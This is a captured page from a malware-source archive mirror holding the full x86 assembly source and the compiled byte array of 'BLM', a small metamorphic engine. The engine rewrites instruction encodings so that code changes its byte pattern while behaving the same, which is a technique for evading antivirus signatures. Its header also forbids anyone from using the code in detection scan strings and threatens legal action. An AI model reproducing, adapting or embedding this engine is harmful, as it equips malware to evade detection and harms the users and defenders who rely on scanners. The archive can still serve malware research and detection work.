mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
326 lines
9.4 KiB
NASM
326 lines
9.4 KiB
NASM
; BLM ~ BlueOwls Light Meta
|
|
; *************************
|
|
;
|
|
; Details
|
|
;
|
|
; Name: BLM (BlueOwls Light Meta)
|
|
; Date: 16 May 2005
|
|
; Size: 412 bytes
|
|
; Morphing power: light
|
|
; Morphing type: non-expansion
|
|
; Compatibility: most common x86 and pentium specific (rdtsc/movzx/..)
|
|
; Platforms: all 32bit (and maybe 16bit) x86 instruction set OSes
|
|
; Used compiler: FASM 1.60
|
|
; Bugs: hopefully none
|
|
;
|
|
; Morphing
|
|
;
|
|
; The following instructions can be morphed:
|
|
;
|
|
; 1. OP reg, reg -> changing the D bit (2)
|
|
; 2. OP (reg,) [(imm32+)reg] -> changing the unused SCALE bits (4)
|
|
; 3. OP (reg,) [(imm32+)reg+reg*1] -> swapping the regs (2)
|
|
;
|
|
; Any other instruction's size is calculated and skipped.
|
|
;
|
|
; Usage notes
|
|
;
|
|
; BLM can be usefull for any application which would like to do code
|
|
; morphing on its own, or other code. There are however, some things
|
|
; to keep note on:
|
|
;
|
|
; - Make sure you don't mix data with code, for example:
|
|
; > CALL _LABEL
|
|
; > DB "some string",0
|
|
; > _LABEL:
|
|
; Would make the meta miscorrectly assume "some string",0 to be
|
|
; code. So make sure that in the codearea you specify is no data.
|
|
; - On input, esi is allowed to equal edi, but it is not recommended
|
|
; if it will cause the meta to morph itself on runtime.
|
|
; - This code does not need any data, and only needs to be able to
|
|
; execute. It is completely permutatable.
|
|
;
|
|
; Agreement
|
|
;
|
|
; This sourcecode is meant to be used in freeware and shareware
|
|
; programs, and therefor it is strictly prohibited to add any of this
|
|
; code in binary or source format in scan strings or other detection
|
|
; methods. If done, it will impact on the sellability of the product,
|
|
; and can result in high fees and/or trials before court.
|
|
; YOU HAVE BEEN WARNED
|
|
|
|
use32
|
|
|
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄ META SOURCE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
|
|
; in: esi(ecx) = start of code to morph
|
|
; edi(ecx) = start of buffer to put morphed code in
|
|
; ecx = size of code to morph (and buffer)
|
|
; out: esi = esi + ecx
|
|
; edi = edi + ecx
|
|
; other registers are destroyed (except esp)
|
|
|
|
BLM: cld
|
|
lea ebx, [esi+ecx] ; ebx = ptr to end of code to morph
|
|
nextcode: push ebx
|
|
xor ecx, ecx
|
|
push 4
|
|
pop ebx
|
|
call .innext
|
|
pop ebx
|
|
rol edx, 7 ; simple RAND function
|
|
neg dx
|
|
cmp ebx, esi
|
|
ja nextcode
|
|
ret
|
|
|
|
.next: movsb
|
|
.innext: mov al, [esi]
|
|
and al, 11100111b
|
|
cmp al, 00100110b ; es/cs/ss/ds segment?
|
|
jz .next ; check if more
|
|
mov al, [esi]
|
|
and al, 11111110b
|
|
cmp al, 01100100b ; fs/gs segment?
|
|
jz .next ; check if more
|
|
cmp al, 11110010b ; repz/repnz?
|
|
jz .next ; check if more
|
|
cmp al, 01100110b ; WORD?
|
|
jnz opcode
|
|
mov bl, 2 ; set WORD size
|
|
jmp .next
|
|
|
|
; -----------------------------------------------------------------------
|
|
|
|
opcode: mov al, [esi]
|
|
cmp al, 0fh
|
|
jnz branch_start
|
|
movsb
|
|
or al, [esi] ; ????1111
|
|
cmp al, 10001111b
|
|
jz .6byte ; -> jxx label32
|
|
cmp al, 10111111b
|
|
jz .3byte ; -> movzx/bt?
|
|
jmp .done
|
|
.6byte: movsb
|
|
movsb
|
|
movsb
|
|
.3byte: movsb
|
|
.done: movsb
|
|
ret
|
|
branch_start: shl al, 1
|
|
jc branch_1xxxxxxx
|
|
branch_0xxxxxxx:shl al, 1
|
|
jc branch_01xxxxxx
|
|
branch_00xxxxxx:shl al, 4
|
|
jnc op_rmrm_d
|
|
op_eax: mov al, [esi]
|
|
shr al, 1
|
|
jc .pr32
|
|
movsb
|
|
movsb
|
|
ret ; -> op al, imm8
|
|
.pr32: add ecx, ebx ; -> op eax, imm32
|
|
rep movsb
|
|
movsb
|
|
ret
|
|
branch_01xxxxxx:cmp al, 11000000b
|
|
jb .ncjump
|
|
movsb ; -> jxx label8
|
|
.ncjump: cmp al, 068h
|
|
jz do_5byte ; -> push imm32
|
|
cmp al, 06ah
|
|
jnz .done ; -> popad/pushad/pop/push/dec/inc (reg)
|
|
stosb ; -> push imm8
|
|
.done: movsb
|
|
ret
|
|
|
|
op_rmrm_d: mov al, [esi+1] ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,r/m
|
|
rcr edx, 1 ; rand true/false
|
|
jc .nomorph
|
|
cmp al, 11000000b
|
|
.nomorph: jb op_rm ; (jc == jb so little optimization)
|
|
lodsb
|
|
xor al, 00000010b
|
|
stosb
|
|
lodsb
|
|
and eax, 00111111b ; 00000000 00regreg
|
|
shl eax, 5 ; 00000reg reg00000
|
|
shr al, 2 ; 00000reg 00reg000
|
|
or al, ah ; 00000xxx 00regreg
|
|
or al, 11000000b ; 11regreg
|
|
stosb
|
|
ret
|
|
|
|
branch_1xxxxxxx:shl al, 1
|
|
jc branch_11xxxxxx
|
|
branch_10xxxxxx:shl al, 1
|
|
jc branch_101xxxxx
|
|
branch_100xxxxx:shl al, 1
|
|
jc branch_01xxxxxx.ncjump ; -> xchg eax,reg/cwde/cdq/pushf/popf/sahf/lahf
|
|
branch_1000xxxx:cmp al, 01000000b
|
|
jae op_rm ; -> test/xchg/mov/lea/pop r/m(,r/m)
|
|
shl al, 3
|
|
jc op_rmimm8 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm8
|
|
jmp op_rmimm32 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm32
|
|
branch_101xxxxx:shl al, 1
|
|
jc branch_1011xxxx
|
|
branch_1010xxxx:and al, 11100000b
|
|
cmp al, 00100000b
|
|
jb op_eax ; -> test eax, imm
|
|
cmp al, 10000000b
|
|
jz do_5byte ; -> mov mem32, eax
|
|
movsb
|
|
ret ; -> movs/stos/lods/scas
|
|
branch_1011xxxx:shl al, 1
|
|
jnc branch_1100001x.2byte ; -> mov reg, imm8
|
|
jmp op_eax.pr32 ; -> mov reg, imm32
|
|
do_5byte: movsd
|
|
movsb
|
|
ret
|
|
branch_11xxxxxx:shl al, 1
|
|
jc branch_111xxxxx
|
|
branch_110xxxxx:shl al, 1
|
|
jc branch_1101xxxx
|
|
branch_1100xxxx:cmp al, 11010000b
|
|
jz branch_1100001x.2byte ; -> int imm8
|
|
shl al, 1
|
|
jc branch_1100001x.done ; -> leave/int 3
|
|
branch_11000xxx:shl al, 1
|
|
jc op_rm_w ; -> mov r/m, imm
|
|
branch_110000xx:shl al, 1
|
|
jc branch_1100001x
|
|
inc ecx ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1
|
|
jmp op_rm
|
|
branch_1100001x:shl al, 1
|
|
jc .done
|
|
.3byte: movsb
|
|
.2byte: movsb ; -> ret imm16
|
|
.done: movsb
|
|
ret ; -> ret
|
|
branch_1101xxxx:shl al, 2
|
|
jc branch_1100001x.done ; -> xlatb
|
|
branch_1101x0xx:jmp op_rm ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1
|
|
|
|
branch_111xxxxx:shl al, 1
|
|
jc branch_1111xxxx
|
|
branch_1110xxxx:shl al, 1
|
|
jnc branch_11101010 ; -> loop label
|
|
branch_11101xxx:cmp al, 00100000b
|
|
jz branch_111010x0.done ; -> call label
|
|
branch_111010x0:shl al, 2
|
|
jc branch_11101010
|
|
.done: movsd ; -> jmp label32
|
|
movsb
|
|
ret
|
|
branch_11101010:movsb
|
|
movsb
|
|
ret ; -> jmp label8
|
|
branch_1111xxxx:shl al, 1
|
|
jc branch_11111xxx
|
|
branch_11110xxx:shl al, 2
|
|
jnc branch_11111xxx.done ; -> cmc
|
|
branch_11111x1x:mov al, [esi+1] ; al = modr/m
|
|
and al, 00111000b
|
|
jnz op_rm ; -> not/mul/div/idiv
|
|
jmp op_rm_w ; -> test
|
|
branch_11111xxx:shl al, 1
|
|
jc .done ; -> clc/stc/cli
|
|
shr al, 1
|
|
jc op_rm ; -> inc/dec/call/jmp/push
|
|
.done: movsb
|
|
ret ; -> cld/std
|
|
|
|
; -----------------------------------------------------------------------
|
|
|
|
op_rm_w: mov al, [esi]
|
|
shr al, 1
|
|
jnc op_rmimm8
|
|
op_rmimm32: add ecx, ebx ; imm length will be 4 or 2
|
|
dec ecx
|
|
op_rmimm8: inc ecx ; imm length = 1 byte
|
|
op_rm: movsb
|
|
lodsb
|
|
stosb
|
|
cmp al, 11000000b ; op reg, reg
|
|
jae .done
|
|
mov ah, al
|
|
and al, 111b
|
|
shr ah, 6
|
|
jz .regaddr
|
|
cmp ah, 00000001b
|
|
jz .ddone
|
|
add ecx, 3 ; op reg, [reg+dword]
|
|
.ddone: inc ecx ; op reg, [reg+byte]
|
|
.cmpsib: cmp al, 00000100b
|
|
jnz .done
|
|
xor ebx, ebx
|
|
mov eax, ebx
|
|
lodsb ; 00000000 iiregreg
|
|
shl eax, 2 ; 000000ii regreg00
|
|
xchg bl, ah ; 00000000 regreg00
|
|
shl eax, 3 ; 00000reg reg00000
|
|
shr al, 5 ; 00000reg 00000reg
|
|
cmp ah, 4
|
|
jz .randindex
|
|
cmp al, 4
|
|
jz .nosib
|
|
or bl, bl ; index = 1?
|
|
jnz .nosib
|
|
rcr edx, 1
|
|
jnc .nosib ; randomly abort switch
|
|
xchg al, ah
|
|
jmp .nosib
|
|
.randindex: mov bl, dl ; index is random
|
|
and bl, 00000011b
|
|
.nosib: shl al, 5 ; 00000reg reg00000
|
|
shr eax, 3 ; 00000000 regreg00
|
|
mov ah, bl ; 000000ii regreg00
|
|
shr eax, 2 ; 00000000 iiregreg
|
|
stosb
|
|
.done: rep movsb
|
|
ret
|
|
.regaddr: cmp al, 00000101b ; op reg, [dword]
|
|
jnz .cmpsib
|
|
movsd
|
|
jmp .done
|
|
|
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄ META BINARY ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
|
|
; in: esi(ecx) = start of code to morph
|
|
; edi(ecx) = start of buffer to put morphed code in
|
|
; ecx = size of code to morph (and buffer)
|
|
; out: esi = esi + ecx
|
|
; edi = edi + ecx
|
|
; other registers are destroyed (except esp)
|
|
|
|
BLM: db 252,141,28,14,83,49,201,106,4,91,232,13,0,0,0,91
|
|
db 193,194,7,102,247,218,57,243,119,234,195,164,138,6,36,231
|
|
db 60,38,116,247,138,6,36,254,60,100,116,239,60,242,116,235
|
|
db 60,102,117,4,179,2,235,227,138,6,60,15,117,19,164,10
|
|
db 6,60,143,116,6,60,191,116,5,235,4,164,164,164,164,164
|
|
db 195,208,224,114,75,208,224,114,20,192,224,4,115,31,138,6
|
|
db 208,232,114,3,164,164,195,1,217,243,164,164,195,60,192,114
|
|
db 1,164,60,104,116,95,60,106,117,1,170,164,195,138,70,1
|
|
db 209,218,114,2,60,192,15,130,179,0,0,0,172,52,2,170
|
|
db 172,131,224,63,193,224,5,192,232,2,8,224,12,192,170,195
|
|
db 208,224,114,52,208,224,114,23,208,224,114,198,60,64,15,131
|
|
db 139,0,0,0,192,224,3,15,130,129,0,0,0,235,124,208
|
|
db 224,114,12,36,224,60,32,114,149,60,128,116,8,164,195,208
|
|
db 224,115,37,235,146,165,164,195,208,224,114,38,208,224,114,27
|
|
db 60,208,116,20,208,224,114,17,208,224,114,73,208,224,114,3
|
|
db 65,235,76,208,224,114,2,164,164,164,195,192,224,2,114,249
|
|
db 235,61,208,224,114,19,208,224,115,12,60,32,116,5,192,224
|
|
db 2,114,3,165,164,195,164,164,195,208,224,114,14,192,224,2
|
|
db 115,17,138,70,1,36,56,117,22,235,10,208,224,114,4,208
|
|
db 232,114,12,164,195,138,6,208,232,115,3,1,217,73,65,164
|
|
db 172,170,60,192,115,76,136,196,36,7,192,236,6,116,70,128
|
|
db 252,1,116,3,131,193,3,65,60,4,117,54,49,219,137,216
|
|
db 172,193,224,2,134,220,193,224,3,192,232,5,128,252,4,116
|
|
db 16,60,4,116,17,8,219,117,13,209,218,115,9,134,196,235
|
|
db 5,136,211,128,227,3,192,224,5,193,232,3,136,220,193,232
|
|
db 2,170,243,164,195,60,5,117,191,165,235,246
|
|
|
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
|